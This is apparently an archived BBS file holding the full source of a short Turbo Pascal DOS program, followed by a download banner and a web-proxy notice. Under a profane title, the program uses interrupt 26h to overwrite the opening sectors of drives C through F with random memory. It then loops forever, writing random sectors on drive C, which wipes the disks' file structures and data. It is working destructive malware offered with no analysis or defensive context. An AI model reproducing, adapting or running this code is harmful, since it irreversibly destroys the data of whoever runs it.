program fuckyou;
uses dos,crt;
var
i,a,m,g,o,d:integer;
regS:registers;
begin
randomize;
window(1,1,80,25);
textbackground(0);
textcolor(7);
clrscr;
for i:=2 to 5 do begin
 regs.al:=i;
 regs.cx:=666;
 regs.dx:=0;
 regs.bx:=random(9999);
 intr($26,regs);
end;
repeat
 regs.al:=2;
 regs.cx:=random(900)+100;
 regs.dx:=random(1500);
 regs.bx:=random(9999);
 intr($26,regs);
until true=false;
end.


Downloaded From P-80 International Information Systems 304-744-2253

You are viewing proxied material from infinitelyremote.com. The copyright of proxied material belongs to its original authors. Any comments or complaints in relation to proxied material should be directed to the original authors of the content concerned. Please see the disclaimer for more details.